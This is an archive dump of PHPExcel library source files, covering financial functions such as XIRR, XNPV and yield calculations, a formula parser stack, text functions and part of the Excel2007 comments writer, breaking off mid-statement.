PHPExcel_Calculation_Functions::flattenArray($dates); $guess = PHPExcel_Calculation_Functions::flattenSingleValue($guess); if (count($values) != count($dates)) { return PHPExcel_Calculation_Functions::NaN(); } // create an initial range, with a root somewhere between 0 and guess $x1 = 0.0; $x2 = $guess; $f1 = self::XNPV($x1, $values, $dates); $f2 = self::XNPV($x2, $values, $dates); for ($i = 0; $i < FINANCIAL_MAX_ITERATIONS; ++$i) { if (($f1 * $f2) < 0.0) { break; } elseif (abs($f1) < abs($f2)) { $f1 = self::XNPV($x1 += 1.6 * ($x1 - $x2), $values, $dates); } else { $f2 = self::XNPV($x2 += 1.6 * ($x2 - $x1), $values, $dates); } } if (($f1 * $f2) > 0.0) { return PHPExcel_Calculation_Functions::VALUE(); } $f = self::XNPV($x1, $values, $dates); if ($f < 0.0) { $rtb = $x1; $dx = $x2 - $x1; } else { $rtb = $x2; $dx = $x1 - $x2; } for ($i = 0; $i < FINANCIAL_MAX_ITERATIONS; ++$i) { $dx *= 0.5; $x_mid = $rtb + $dx; $f_mid = self::XNPV($x_mid, $values, $dates); if ($f_mid <= 0.0) { $rtb = $x_mid; } if ((abs($f_mid) < FINANCIAL_PRECISION) || (abs($dx) < FINANCIAL_PRECISION)) { return $x_mid; } } return PHPExcel_Calculation_Functions::VALUE(); } /** * XNPV * * Returns the net present value for a schedule of cash flows that is not necessarily periodic. * To calculate the net present value for a series of cash flows that is periodic, use the NPV function. * * Excel Function: * =XNPV(rate,values,dates) * * @param float $rate The discount rate to apply to the cash flows. * @param array of float $values A series of cash flows that corresponds to a schedule of payments in dates. * The first payment is optional and corresponds to a cost or payment that occurs at the beginning of the investment. * If the first value is a cost or payment, it must be a negative value. All succeeding payments are discounted based on a 365-day year. * The series of values must contain at least one positive value and one negative value. * @param array of mixed $dates A schedule of payment dates that corresponds to the cash flow payments. * The first payment date indicates the beginning of the schedule of payments. * All other dates must be later than this date, but they may occur in any order. * @return float */ public static function XNPV($rate, $values, $dates) { $rate = PHPExcel_Calculation_Functions::flattenSingleValue($rate); if (!is_numeric($rate)) { return PHPExcel_Calculation_Functions::VALUE(); } if ((!is_array($values)) || (!is_array($dates))) { return PHPExcel_Calculation_Functions::VALUE(); } $values = PHPExcel_Calculation_Functions::flattenArray($values); $dates = PHPExcel_Calculation_Functions::flattenArray($dates); $valCount = count($values); if ($valCount != count($dates)) { return PHPExcel_Calculation_Functions::NaN(); } if ((min($values) > 0) || (max($values) < 0)) { return PHPExcel_Calculation_Functions::VALUE(); } $xnpv = 0.0; for ($i = 0; $i < $valCount; ++$i) { if (!is_numeric($values[$i])) { return PHPExcel_Calculation_Functions::VALUE(); } $xnpv += $values[$i] / pow(1 + $rate, PHPExcel_Calculation_DateTime::DATEDIF($dates[0], $dates[$i], 'd') / 365); } return (is_finite($xnpv)) ? $xnpv : PHPExcel_Calculation_Functions::VALUE(); } /** * YIELDDISC * * Returns the annual yield of a security that pays interest at maturity. * * @param mixed settlement The security's settlement date. * The security's settlement date is the date after the issue date when the security is traded to the buyer. * @param mixed maturity The security's maturity date. * The maturity date is the date when the security expires. * @param int price The security's price per $100 face value. * @param int redemption The security's redemption value per $100 face value. * @param int basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * @return float */ public static function YIELDDISC($settlement, $maturity, $price, $redemption, $basis = 0) { $settlement = PHPExcel_Calculation_Functions::flattenSingleValue($settlement); $maturity = PHPExcel_Calculation_Functions::flattenSingleValue($maturity); $price = PHPExcel_Calculation_Functions::flattenSingleValue($price); $redemption = PHPExcel_Calculation_Functions::flattenSingleValue($redemption); $basis = (int) PHPExcel_Calculation_Functions::flattenSingleValue($basis); // Validate if (is_numeric($price) && is_numeric($redemption)) { if (($price <= 0) || ($redemption <= 0)) { return PHPExcel_Calculation_Functions::NaN(); } $daysPerYear = self::daysPerYear(PHPExcel_Calculation_DateTime::YEAR($settlement), $basis); if (!is_numeric($daysPerYear)) { return $daysPerYear; } $daysBetweenSettlementAndMaturity = PHPExcel_Calculation_DateTime::YEARFRAC($settlement, $maturity, $basis); if (!is_numeric($daysBetweenSettlementAndMaturity)) { // return date error return $daysBetweenSettlementAndMaturity; } $daysBetweenSettlementAndMaturity *= $daysPerYear; return (($redemption - $price) / $price) * ($daysPerYear / $daysBetweenSettlementAndMaturity); } return PHPExcel_Calculation_Functions::VALUE(); } /** * YIELDMAT * * Returns the annual yield of a security that pays interest at maturity. * * @param mixed settlement The security's settlement date. * The security's settlement date is the date after the issue date when the security is traded to the buyer. * @param mixed maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed issue The security's issue date. * @param int rate The security's interest rate at date of issue. * @param int price The security's price per $100 face value. * @param int basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * @return float */ public static function YIELDMAT($settlement, $maturity, $issue, $rate, $price, $basis = 0) { $settlement = PHPExcel_Calculation_Functions::flattenSingleValue($settlement); $maturity = PHPExcel_Calculation_Functions::flattenSingleValue($maturity); $issue = PHPExcel_Calculation_Functions::flattenSingleValue($issue); $rate = PHPExcel_Calculation_Functions::flattenSingleValue($rate); $price = PHPExcel_Calculation_Functions::flattenSingleValue($price); $basis = (int) PHPExcel_Calculation_Functions::flattenSingleValue($basis); // Validate if (is_numeric($rate) && is_numeric($price)) { if (($rate <= 0) || ($price <= 0)) { return PHPExcel_Calculation_Functions::NaN(); } $daysPerYear = self::daysPerYear(PHPExcel_Calculation_DateTime::YEAR($settlement), $basis); if (!is_numeric($daysPerYear)) { return $daysPerYear; } $daysBetweenIssueAndSettlement = PHPExcel_Calculation_DateTime::YEARFRAC($issue, $settlement, $basis); if (!is_numeric($daysBetweenIssueAndSettlement)) { // return date error return $daysBetweenIssueAndSettlement; } $daysBetweenIssueAndSettlement *= $daysPerYear; $daysBetweenIssueAndMaturity = PHPExcel_Calculation_DateTime::YEARFRAC($issue, $maturity, $basis); if (!is_numeric($daysBetweenIssueAndMaturity)) { // return date error return $daysBetweenIssueAndMaturity; } $daysBetweenIssueAndMaturity *= $daysPerYear; $daysBetweenSettlementAndMaturity = PHPExcel_Calculation_DateTime::YEARFRAC($settlement, $maturity, $basis); if (!is_numeric($daysBetweenSettlementAndMaturity)) { // return date error return $daysBetweenSettlementAndMaturity; } $daysBetweenSettlementAndMaturity *= $daysPerYear; return ((1 + (($daysBetweenIssueAndMaturity / $daysPerYear) * $rate) - (($price / 100) + (($daysBetweenIssueAndSettlement / $daysPerYear) * $rate))) / (($price / 100) + (($daysBetweenIssueAndSettlement / $daysPerYear) * $rate))) * ($daysPerYear / $daysBetweenSettlementAndMaturity); } return PHPExcel_Calculation_Functions::VALUE(); } } PHPExcel/Calculation/Token/Stack.php 0000644 00000005541 14642534107 0013263 0 ustar 00 <?php /** * PHPExcel_Calculation_Token_Stack * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Calculation * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Calculation_Token_Stack { /** * The parser stack for formulae * * @var mixed[] */ private $stack = array(); /** * Count of entries in the parser stack * * @var integer */ private $count = 0; /** * Return the number of entries on the stack * * @return integer */ public function count() { return $this->count; } /** * Push a new entry onto the stack * * @param mixed $type * @param mixed $value * @param mixed $reference */ public function push($type, $value, $reference = null) { $this->stack[$this->count++] = array( 'type' => $type, 'value' => $value, 'reference' => $reference ); if ($type == 'Function') { $localeFunction = PHPExcel_Calculation::localeFunc($value); if ($localeFunction != $value) { $this->stack[($this->count - 1)]['localeValue'] = $localeFunction; } } } /** * Pop the last entry from the stack * * @return mixed */ public function pop() { if ($this->count > 0) { return $this->stack[--$this->count]; } return null; } /** * Return an entry from the stack without removing it * * @param integer $n number indicating how far back in the stack we want to look * @return mixed */ public function last($n = 1) { if ($this->count - $n < 0) { return null; } return $this->stack[$this->count - $n]; } /** * Clear the stack */ public function clear() { $this->stack = array(); $this->count = 0; } } PHPExcel/Calculation/TextData.php 0000644 00000053363 14642534107 0012661 0 ustar 00 <?php /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } /** * PHPExcel_Calculation_TextData * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Calculation * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Calculation_TextData { private static $invalidChars; private static function unicodeToOrd($c) { if (ord($c{0}) >=0 && ord($c{0}) <= 127) { return ord($c{0}); } elseif (ord($c{0}) >= 192 && ord($c{0}) <= 223) { return (ord($c{0})-192)*64 + (ord($c{1})-128); } elseif (ord($c{0}) >= 224 && ord($c{0}) <= 239) { return (ord($c{0})-224)*4096 + (ord($c{1})-128)*64 + (ord($c{2})-128); } elseif (ord($c{0}) >= 240 && ord($c{0}) <= 247) { return (ord($c{0})-240)*262144 + (ord($c{1})-128)*4096 + (ord($c{2})-128)*64 + (ord($c{3})-128); } elseif (ord($c{0}) >= 248 && ord($c{0}) <= 251) { return (ord($c{0})-248)*16777216 + (ord($c{1})-128)*262144 + (ord($c{2})-128)*4096 + (ord($c{3})-128)*64 + (ord($c{4})-128); } elseif (ord($c{0}) >= 252 && ord($c{0}) <= 253) { return (ord($c{0})-252)*1073741824 + (ord($c{1})-128)*16777216 + (ord($c{2})-128)*262144 + (ord($c{3})-128)*4096 + (ord($c{4})-128)*64 + (ord($c{5})-128); } elseif (ord($c{0}) >= 254 && ord($c{0}) <= 255) { // error return PHPExcel_Calculation_Functions::VALUE(); } return 0; } /** * CHARACTER * * @param string $character Value * @return int */ public static function CHARACTER($character) { $character = PHPExcel_Calculation_Functions::flattenSingleValue($character); if ((!is_numeric($character)) || ($character < 0)) { return PHPExcel_Calculation_Functions::VALUE(); } if (function_exists('mb_convert_encoding')) { return mb_convert_encoding('&#'.intval($character).';', 'UTF-8', 'HTML-ENTITIES'); } else { return chr(intval($character)); } } /** * TRIMNONPRINTABLE * * @param mixed $stringValue Value to check * @return string */ public static function TRIMNONPRINTABLE($stringValue = '') { $stringValue = PHPExcel_Calculation_Functions::flattenSingleValue($stringValue); if (is_bool($stringValue)) { return ($stringValue) ? PHPExcel_Calculation::getTRUE() : PHPExcel_Calculation::getFALSE(); } if (self::$invalidChars == null) { self::$invalidChars = range(chr(0), chr(31)); } if (is_string($stringValue) || is_numeric($stringValue)) { return str_replace(self::$invalidChars, '', trim($stringValue, "\x00..\x1F")); } return null; } /** * TRIMSPACES * * @param mixed $stringValue Value to check * @return string */ public static function TRIMSPACES($stringValue = '') { $stringValue = PHPExcel_Calculation_Functions::flattenSingleValue($stringValue); if (is_bool($stringValue)) { return ($stringValue) ? PHPExcel_Calculation::getTRUE() : PHPExcel_Calculation::getFALSE(); } if (is_string($stringValue) || is_numeric($stringValue)) { return trim(preg_replace('/ +/', ' ', trim($stringValue, ' ')), ' '); } return null; } /** * ASCIICODE * * @param string $characters Value * @return int */ public static function ASCIICODE($characters) { if (($characters === null) || ($characters === '')) { return PHPExcel_Calculation_Functions::VALUE(); } $characters = PHPExcel_Calculation_Functions::flattenSingleValue($characters); if (is_bool($characters)) { if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE) { $characters = (int) $characters; } else { $characters = ($characters) ? PHPExcel_Calculation::getTRUE() : PHPExcel_Calculation::getFALSE(); } } $character = $characters; if ((function_exists('mb_strlen')) && (function_exists('mb_substr'))) { if (mb_strlen($characters, 'UTF-8') > 1) { $character = mb_substr($characters, 0, 1, 'UTF-8'); } return self::unicodeToOrd($character); } else { if (strlen($characters) > 0) { $character = substr($characters, 0, 1); } return ord($character); } } /** * CONCATENATE * * @return string */ public static function CONCATENATE() { $returnValue = ''; // Loop through arguments $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); foreach ($aArgs as $arg) { if (is_bool($arg)) { if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE) { $arg = (int) $arg; } else { $arg = ($arg) ? PHPExcel_Calculation::getTRUE() : PHPExcel_Calculation::getFALSE(); } } $returnValue .= $arg; } return $returnValue; } /** * DOLLAR * * This function converts a number to text using currency format, with the decimals rounded to the specified place. * The format used is $#,##0.00_);($#,##0.00).. * * @param float $value The value to format * @param int $decimals The number of digits to display to the right of the decimal point. * If decimals is negative, number is rounded to the left of the decimal point. * If you omit decimals, it is assumed to be 2 * @return string */ public static function DOLLAR($value = 0, $decimals = 2) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); $decimals = is_null($decimals) ? 0 : PHPExcel_Calculation_Functions::flattenSingleValue($decimals); // Validate parameters if (!is_numeric($value) || !is_numeric($decimals)) { return PHPExcel_Calculation_Functions::NaN(); } $decimals = floor($decimals); $mask = '$#,##0'; if ($decimals > 0) { $mask .= '.' . str_repeat('0', $decimals); } else { $round = pow(10, abs($decimals)); if ($value < 0) { $round = 0-$round; } $value = PHPExcel_Calculation_MathTrig::MROUND($value, $round); } return PHPExcel_Style_NumberFormat::toFormattedString($value, $mask); } /** * SEARCHSENSITIVE * * @param string $needle The string to look for * @param string $haystack The string in which to look * @param int $offset Offset within $haystack * @return string */ public static function SEARCHSENSITIVE($needle, $haystack, $offset = 1) { $needle = PHPExcel_Calculation_Functions::flattenSingleValue($needle); $haystack = PHPExcel_Calculation_Functions::flattenSingleValue($haystack); $offset = PHPExcel_Calculation_Functions::flattenSingleValue($offset); if (!is_bool($needle)) { if (is_bool($haystack)) { $haystack = ($haystack) ? PHPExcel_Calculation::getTRUE() : PHPExcel_Calculation::getFALSE(); } if (($offset > 0) && (PHPExcel_Shared_String::CountCharacters($haystack) > $offset)) { if (PHPExcel_Shared_String::CountCharacters($needle) == 0) { return $offset; } if (function_exists('mb_strpos')) { $pos = mb_strpos($haystack, $needle, --$offset, 'UTF-8'); } else { $pos = strpos($haystack, $needle, --$offset); } if ($pos !== false) { return ++$pos; } } } return PHPExcel_Calculation_Functions::VALUE(); } /** * SEARCHINSENSITIVE * * @param string $needle The string to look for * @param string $haystack The string in which to look * @param int $offset Offset within $haystack * @return string */ public static function SEARCHINSENSITIVE($needle, $haystack, $offset = 1) { $needle = PHPExcel_Calculation_Functions::flattenSingleValue($needle); $haystack = PHPExcel_Calculation_Functions::flattenSingleValue($haystack); $offset = PHPExcel_Calculation_Functions::flattenSingleValue($offset); if (!is_bool($needle)) { if (is_bool($haystack)) { $haystack = ($haystack) ? PHPExcel_Calculation::getTRUE() : PHPExcel_Calculation::getFALSE(); } if (($offset > 0) && (PHPExcel_Shared_String::CountCharacters($haystack) > $offset)) { if (PHPExcel_Shared_String::CountCharacters($needle) == 0) { return $offset; } if (function_exists('mb_stripos')) { $pos = mb_stripos($haystack, $needle, --$offset, 'UTF-8'); } else { $pos = stripos($haystack, $needle, --$offset); } if ($pos !== false) { return ++$pos; } } } return PHPExcel_Calculation_Functions::VALUE(); } /** * FIXEDFORMAT * * @param mixed $value Value to check * @param integer $decimals * @param boolean $no_commas * @return boolean */ public static function FIXEDFORMAT($value, $decimals = 2, $no_commas = false) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); $decimals = PHPExcel_Calculation_Functions::flattenSingleValue($decimals); $no_commas = PHPExcel_Calculation_Functions::flattenSingleValue($no_commas); // Validate parameters if (!is_numeric($value) || !is_numeric($decimals)) { return PHPExcel_Calculation_Functions::NaN(); } $decimals = floor($decimals); $valueResult = round($value, $decimals); if ($decimals < 0) { $decimals = 0; } if (!$no_commas) { $valueResult = number_format($valueResult, $decimals); } return (string) $valueResult; } /** * LEFT * * @param string $value Value * @param int $chars Number of characters * @return string */ public static function LEFT($value = '', $chars = 1) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); $chars = PHPExcel_Calculation_Functions::flattenSingleValue($chars); if ($chars < 0) { return PHPExcel_Calculation_Functions::VALUE(); } if (is_bool($value)) { $value = ($value) ? PHPExcel_Calculation::getTRUE() : PHPExcel_Calculation::getFALSE(); } if (function_exists('mb_substr')) { return mb_substr($value, 0, $chars, 'UTF-8'); } else { return substr($value, 0, $chars); } } /** * MID * * @param string $value Value * @param int $start Start character * @param int $chars Number of characters * @return string */ public static function MID($value = '', $start = 1, $chars = null) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); $start = PHPExcel_Calculation_Functions::flattenSingleValue($start); $chars = PHPExcel_Calculation_Functions::flattenSingleValue($chars); if (($start < 1) || ($chars < 0)) { return PHPExcel_Calculation_Functions::VALUE(); } if (is_bool($value)) { $value = ($value) ? PHPExcel_Calculation::getTRUE() : PHPExcel_Calculation::getFALSE(); } if (function_exists('mb_substr')) { return mb_substr($value, --$start, $chars, 'UTF-8'); } else { return substr($value, --$start, $chars); } } /** * RIGHT * * @param string $value Value * @param int $chars Number of characters * @return string */ public static function RIGHT($value = '', $chars = 1) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); $chars = PHPExcel_Calculation_Functions::flattenSingleValue($chars); if ($chars < 0) { return PHPExcel_Calculation_Functions::VALUE(); } if (is_bool($value)) { $value = ($value) ? PHPExcel_Calculation::getTRUE() : PHPExcel_Calculation::getFALSE(); } if ((function_exists('mb_substr')) && (function_exists('mb_strlen'))) { return mb_substr($value, mb_strlen($value, 'UTF-8') - $chars, $chars, 'UTF-8'); } else { return substr($value, strlen($value) - $chars); } } /** * STRINGLENGTH * * @param string $value Value * @return string */ public static function STRINGLENGTH($value = '') { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); if (is_bool($value)) { $value = ($value) ? PHPExcel_Calculation::getTRUE() : PHPExcel_Calculation::getFALSE(); } if (function_exists('mb_strlen')) { return mb_strlen($value, 'UTF-8'); } else { return strlen($value); } } /** * LOWERCASE * * Converts a string value to upper case. * * @param string $mixedCaseString * @return string */ public static function LOWERCASE($mixedCaseString) { $mixedCaseString = PHPExcel_Calculation_Functions::flattenSingleValue($mixedCaseString); if (is_bool($mixedCaseString)) { $mixedCaseString = ($mixedCaseString) ? PHPExcel_Calculation::getTRUE() : PHPExcel_Calculation::getFALSE(); } return PHPExcel_Shared_String::StrToLower($mixedCaseString); } /** * UPPERCASE * * Converts a string value to upper case. * * @param string $mixedCaseString * @return string */ public static function UPPERCASE($mixedCaseString) { $mixedCaseString = PHPExcel_Calculation_Functions::flattenSingleValue($mixedCaseString); if (is_bool($mixedCaseString)) { $mixedCaseString = ($mixedCaseString) ? PHPExcel_Calculation::getTRUE() : PHPExcel_Calculation::getFALSE(); } return PHPExcel_Shared_String::StrToUpper($mixedCaseString); } /** * PROPERCASE * * Converts a string value to upper case. * * @param string $mixedCaseString * @return string */ public static function PROPERCASE($mixedCaseString) { $mixedCaseString = PHPExcel_Calculation_Functions::flattenSingleValue($mixedCaseString); if (is_bool($mixedCaseString)) { $mixedCaseString = ($mixedCaseString) ? PHPExcel_Calculation::getTRUE() : PHPExcel_Calculation::getFALSE(); } return PHPExcel_Shared_String::StrToTitle($mixedCaseString); } /** * REPLACE * * @param string $oldText String to modify * @param int $start Start character * @param int $chars Number of characters * @param string $newText String to replace in defined position * @return string */ public static function REPLACE($oldText = '', $start = 1, $chars = null, $newText) { $oldText = PHPExcel_Calculation_Functions::flattenSingleValue($oldText); $start = PHPExcel_Calculation_Functions::flattenSingleValue($start); $chars = PHPExcel_Calculation_Functions::flattenSingleValue($chars); $newText = PHPExcel_Calculation_Functions::flattenSingleValue($newText); $left = self::LEFT($oldText, $start-1); $right = self::RIGHT($oldText, self::STRINGLENGTH($oldText)-($start+$chars)+1); return $left.$newText.$right; } /** * SUBSTITUTE * * @param string $text Value * @param string $fromText From Value * @param string $toText To Value * @param integer $instance Instance Number * @return string */ public static function SUBSTITUTE($text = '', $fromText = '', $toText = '', $instance = 0) { $text = PHPExcel_Calculation_Functions::flattenSingleValue($text); $fromText = PHPExcel_Calculation_Functions::flattenSingleValue($fromText); $toText = PHPExcel_Calculation_Functions::flattenSingleValue($toText); $instance = floor(PHPExcel_Calculation_Functions::flattenSingleValue($instance)); if ($instance == 0) { if (function_exists('mb_str_replace')) { return mb_str_replace($fromText, $toText, $text); } else { return str_replace($fromText, $toText, $text); } } else { $pos = -1; while ($instance > 0) { if (function_exists('mb_strpos')) { $pos = mb_strpos($text, $fromText, $pos+1, 'UTF-8'); } else { $pos = strpos($text, $fromText, $pos+1); } if ($pos === false) { break; } --$instance; } if ($pos !== false) { if (function_exists('mb_strlen')) { return self::REPLACE($text, ++$pos, mb_strlen($fromText, 'UTF-8'), $toText); } else { return self::REPLACE($text, ++$pos, strlen($fromText), $toText); } } } return $text; } /** * RETURNSTRING * * @param mixed $testValue Value to check * @return boolean */ public static function RETURNSTRING($testValue = '') { $testValue = PHPExcel_Calculation_Functions::flattenSingleValue($testValue); if (is_string($testValue)) { return $testValue; } return null; } /** * TEXTFORMAT * * @param mixed $value Value to check * @param string $format Format mask to use * @return boolean */ public static function TEXTFORMAT($value, $format) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); $format = PHPExcel_Calculation_Functions::flattenSingleValue($format); if ((is_string($value)) && (!is_numeric($value)) && PHPExcel_Shared_Date::isDateTimeFormatCode($format)) { $value = PHPExcel_Calculation_DateTime::DATEVALUE($value); } return (string) PHPExcel_Style_NumberFormat::toFormattedString($value, $format); } /** * VALUE * * @param mixed $value Value to check * @return boolean */ public static function VALUE($value = '') { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); if (!is_numeric($value)) { $numberValue = str_replace( PHPExcel_Shared_String::getThousandsSeparator(), '', trim($value, " \t\n\r\0\x0B" . PHPExcel_Shared_String::getCurrencyCode()) ); if (is_numeric($numberValue)) { return (float) $numberValue; } $dateSetting = PHPExcel_Calculation_Functions::getReturnDateType(); PHPExcel_Calculation_Functions::setReturnDateType(PHPExcel_Calculation_Functions::RETURNDATE_EXCEL); if (strpos($value, ':') !== false) { $timeValue = PHPExcel_Calculation_DateTime::TIMEVALUE($value); if ($timeValue !== PHPExcel_Calculation_Functions::VALUE()) { PHPExcel_Calculation_Functions::setReturnDateType($dateSetting); return $timeValue; } } $dateValue = PHPExcel_Calculation_DateTime::DATEVALUE($value); if ($dateValue !== PHPExcel_Calculation_Functions::VALUE()) { PHPExcel_Calculation_Functions::setReturnDateType($dateSetting); return $dateValue; } PHPExcel_Calculation_Functions::setReturnDateType($dateSetting); return PHPExcel_Calculation_Functions::VALUE(); } return (float) $value; } } PHPExcel/Writer/Excel2007/Comments.php 0000644 00000023520 14642534107 0013307 0 ustar 00 <?php /** * PHPExcel_Writer_Excel2007_Comments * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_Excel2007_Comments extends PHPExcel_Writer_Excel2007_WriterPart { /** * Write comments to XML format * * @param PHPExcel_Worksheet $pWorksheet * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeComments(PHPExcel_Worksheet $pWorksheet = null) { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Comments cache $comments = $pWorksheet->getComments(); // Authors cache $authors = array(); $authorId = 0; foreach ($comments as $comment) { if (!isset($authors[$comment->getAuthor()])) { $authors[$comment->getAuthor()] = $authorId++; } } // comments $objWriter->startElement('comments'); $objWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/spreadsheetml/2006/main'); // Loop through authors $objWriter->startElement('authors'); foreach ($authors as $author => $index) { $objWriter->writeElement('author', $author); } $objWriter->endElement(); // Loop through comments $objWriter->startElement('commentList'); foreach ($comments as $key => $value) { $this->writeComment($objWriter, $key, $value, $authors); } $objWriter->endElement(); $objWriter->endElement(); // Return return $objWriter->getData(); } /** * Write comment to XML format * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param string $pCellReference Cell reference * @param PHPExcel_Comment $pComment Comment * @param array $pAuthors Array of authors * @throws PHPExcel_Writer_Exception */ private function writeComment(PHPExcel_Shared_XMLWriter $objWriter = null, $pCellReference = 'A1', PHPExcel_Comment $pComment = null, $pAuthors = null) { // comment $objWriter->startElement('comment'); $objWriter->writeAttribute('ref', $pCellReference); $objWriter->writeAttribute('authorId', $pAuthors[$pComment->getAuthor()]); // text $objWriter->startElement('text'); $this->getParentWriter()->getWriterPart('stringtable')->writeRichText($objWriter, $pComment->getText()); $objWriter->endElement(); $objWriter->endElement(); } /** * Write VML comments to XML format * * @param PHPExcel_Worksheet $pWorksheet * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeVMLComments(PHPExcel_Worksheet $pWorksheet = null) { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Comments cache $comments = $pWorksheet->getComments(); // xml $objWriter->startElement('xml'); $objWriter->writeAttribute('xmlns:v', 'urn:schemas-microsoft-com:vml'); $objWriter->writeAttribute('xmlns:o', 'urn:schemas-microsoft-com:office:office'); $objWriter->writeAttribute('xmlns:x', 'urn:schemas-microsoft-com:office:excel'); // o:shapelayout $objWriter->startElement('o:shapelayout'); $objWriter->writeAttribute('v:ext', 'edit'); // o:idmap $objWriter->startElement('o:idmap'); $objWriter->writeAttribute('v:ext', 'edit'); $objWriter->writeAttribute('data', '1'); $objWriter->endElement(); $objWriter->endElement(); // v:shapetype $objWriter->startElement('v:shapetype'); $objWriter->writeAttribute('id', '_x0000_t202'); $objWriter->writeAttribute('coordsize', '21600,21600'); $objWriter->writeAttribute('o:spt', '202'); $objWriter->writeAttribute('path', 'm,l,21600r21600,l21600,xe'); // v:stroke $objWriter->startElement('v:stroke'); $objWriter->writeAttribute('joinstyle', 'miter'); $objWriter->endElement(); // v:path $objWriter->startElement('v:path'); $objWriter->writeAttribute('gradientshapeok', 't'); $objWriter->writeAttribute('o:connecttype', 'rect'); $objWriter->endElement(); $objWriter->endElement(); // Loop through comments foreach ($comments as $key => $value) { $this->writeVMLComment($objWriter, $key, $value); } $objWriter->endElement(); // Return return $objWriter->getData(); } /** * Write VML comment to XML format * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param string $pCellReference Cell reference * @param PHPExcel_Comment $pComment Comment * @throws PHPExcel_Writer_Exception */ private function writeVMLComment(PHPExcel_Shared_XMLWriter $objWriter = null, $pCellReference = 'A1', PHPExcel_Comment $pComment = null) { // Metadata list($column, $row) = PHPExcel_Cell::coordinateFromString($pCellReference); $column = PHPExcel_Cell::columnIndexFromString($column); $id = 1024 + $column + $row; $id = substr($id, 0, 4); // v:shape $objWriter->startElement('v:shape'); $objWriter->writeAttribute('id', '_x0000_s' . $id); $objWriter->writeAttribute('type', '#_x0000_t202'); $objWriter->writeAttribute('style', 'position:absolute;margin-left:' . $pComment->getMarginLeft() . ';margin-top:' . $pComment->getMarginTop() . ';width:' . $pComment->getWidth() . ';height:' . $pComment->getHeight() . ';z-index:1;visibility:' . ($pComment->getVisible() 